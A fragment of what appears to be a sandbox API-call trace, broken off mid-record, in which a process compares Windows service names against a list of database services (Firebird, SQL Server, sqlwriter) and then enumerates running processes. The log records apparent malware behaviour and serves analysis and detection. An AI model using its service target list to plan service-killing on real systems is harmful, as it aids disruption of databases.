returned 1 [0291.103] lstrlenW (lpString="EventLog") returned 8 [0291.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0291.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0291.103] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0291.103] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0291.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0291.103] lstrlenW (lpString="EventSystem") returned 11 [0291.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0291.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0291.103] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0291.104] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0291.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0291.104] lstrlenW (lpString="FontCache") returned 9 [0291.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0291.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0291.104] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0291.104] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0291.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0291.104] lstrlenW (lpString="gpsvc") returned 5 [0291.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0291.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0291.104] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0291.104] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0291.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0291.104] lstrlenW (lpString="iphlpsvc") returned 8 [0291.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.104] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0291.104] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0291.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0291.104] lstrlenW (lpString="KeyIso") returned 6 [0291.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0291.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0291.104] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0291.104] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0291.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0291.104] lstrlenW (lpString="LanmanServer") returned 12 [0291.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0291.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0291.104] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0291.104] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0291.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0291.104] lstrlenW (lpString="LanmanWorkstation") returned 17 [0291.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.105] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0291.105] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0291.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0291.105] lstrlenW (lpString="lfsvc") returned 5 [0291.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0291.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0291.105] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0291.105] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0291.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0291.105] lstrlenW (lpString="lmhosts") returned 7 [0291.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0291.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0291.105] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0291.105] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0291.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0291.105] lstrlenW (lpString="LSM") returned 3 [0291.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0291.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0291.105] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0291.105] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0291.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0291.105] lstrlenW (lpString="MpsSvc") returned 6 [0291.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0291.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0291.105] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0291.105] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0291.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0291.105] lstrlenW (lpString="NcbService") returned 10 [0291.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0291.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0291.105] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0291.105] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0291.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0291.105] lstrlenW (lpString="netprofm") returned 8 [0291.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0291.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0291.106] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0291.106] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0291.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0291.106] lstrlenW (lpString="NgcSvc") returned 6 [0291.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0291.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0291.106] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0291.106] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0291.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0291.106] lstrlenW (lpString="NlaSvc") returned 6 [0291.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0291.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0291.106] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0291.106] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0291.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0291.106] lstrlenW (lpString="nsi") returned 3 [0291.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0291.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0291.106] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0291.106] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0291.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0291.106] lstrlenW (lpString="PcaSvc") returned 6 [0291.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0291.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0291.106] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0291.106] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0291.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0291.106] lstrlenW (lpString="PlugPlay") returned 8 [0291.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0291.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0291.106] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0291.106] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0291.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0291.106] lstrlenW (lpString="Power") returned 5 [0291.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0291.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0291.107] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0291.107] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0291.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0291.107] lstrlenW (lpString="ProfSvc") returned 7 [0291.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0291.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0291.107] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0291.107] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0291.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0291.107] lstrlenW (lpString="RpcEptMapper") returned 12 [0291.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.107] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0291.107] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0291.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0291.107] lstrlenW (lpString="RpcSs") returned 5 [0291.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0291.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0291.107] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0291.107] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0291.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0291.107] lstrlenW (lpString="SamSs") returned 5 [0291.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0291.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0291.107] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0291.107] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0291.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0291.107] lstrlenW (lpString="Schedule") returned 8 [0291.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0291.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0291.107] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0291.107] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0291.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0291.107] lstrlenW (lpString="SecurityHealthService") returned 21 [0291.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.107] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0291.108] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0291.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0291.108] lstrlenW (lpString="SENS") returned 4 [0291.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0291.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0291.108] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0291.108] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0291.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0291.108] lstrlenW (lpString="ShellHWDetection") returned 16 [0291.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.108] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0291.108] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0291.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0291.108] lstrlenW (lpString="Spooler") returned 7 [0291.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0291.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0291.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0291.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0291.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0291.108] lstrlenW (lpString="SSDPSRV") returned 7 [0291.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0291.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0291.108] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0291.108] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0291.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0291.108] lstrlenW (lpString="StateRepository") returned 15 [0291.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0291.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0291.108] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0291.108] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0291.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0291.108] lstrlenW (lpString="SysMain") returned 7 [0291.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0291.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0291.108] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0291.108] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0291.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0291.109] lstrlenW (lpString="SystemEventsBroker") returned 18 [0291.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.109] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0291.109] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0291.109] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1084 [0291.118] Process32FirstW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.119] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0291.120] lstrlenW (lpString="System") returned 6 [0291.120] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0291.120] lstrlenW (lpString="smss.exe") returned 8 [0291.121] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.121] lstrlenW (lpString="csrss.exe") returned 9 [0291.121] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0291.122] lstrlenW (lpString="wininit.exe") returned 11 [0291.122] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.122] lstrlenW (lpString="csrss.exe") returned 9 [0291.122] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0291.123] lstrlenW (lpString="winlogon.exe") returned 12 [0291.123] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0291.124] lstrlenW (lpString="services.exe") returned 12 [0291.124] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0291.124] lstrlenW (lpString="lsass.exe") returned 9 [0291.124] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.125] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.125] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.126] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.126] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.127] lstrlenW (lpString="svchost.exe") returned 11 [0291.127] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.128] lstrlenW (lpString="svchost.exe") returned 11 [0291.128] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0291.129] lstrlenW (lpString="dwm.exe") returned 7 [0291.129] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.129] lstrlenW (lpString="svchost.exe") returned 11 [0291.129] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.130] lstrlenW (lpString="svchost.exe") returned 11 [0291.130] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.130] lstrlenW (lpString="svchost.exe") returned 11 [0291.130] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.131] lstrlenW (lpString="svchost.exe") returned 11 [0291.131] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.132] lstrlenW (lpString="svchost.exe") returned 11 [0291.132] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.132] lstrlenW (lpString="svchost.exe") returned 11 [0291.133] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.133] lstrlenW (lpString="svchost.exe") returned 11 [0291.133] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.134] lstrlenW (lpString="svchost.exe") returned 11 [0291.134] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.134] lstrlenW (lpString="svchost.exe") returned 11 [0291.134] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.135] lstrlenW (lpString="svchost.exe") returned 11 [0291.135] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0291.136] lstrlenW (lpString="spoolsv.exe") returned 11 [0291.136] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.136] lstrlenW (lpString="svchost.exe") returned 11 [0291.136] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0291.137] lstrlenW (lpString="audiodg.exe") returned 11 [0291.137] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0291.138] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0291.138] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0291.138] lstrlenW (lpString="Memory Compression") returned 18 [0291.138] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, 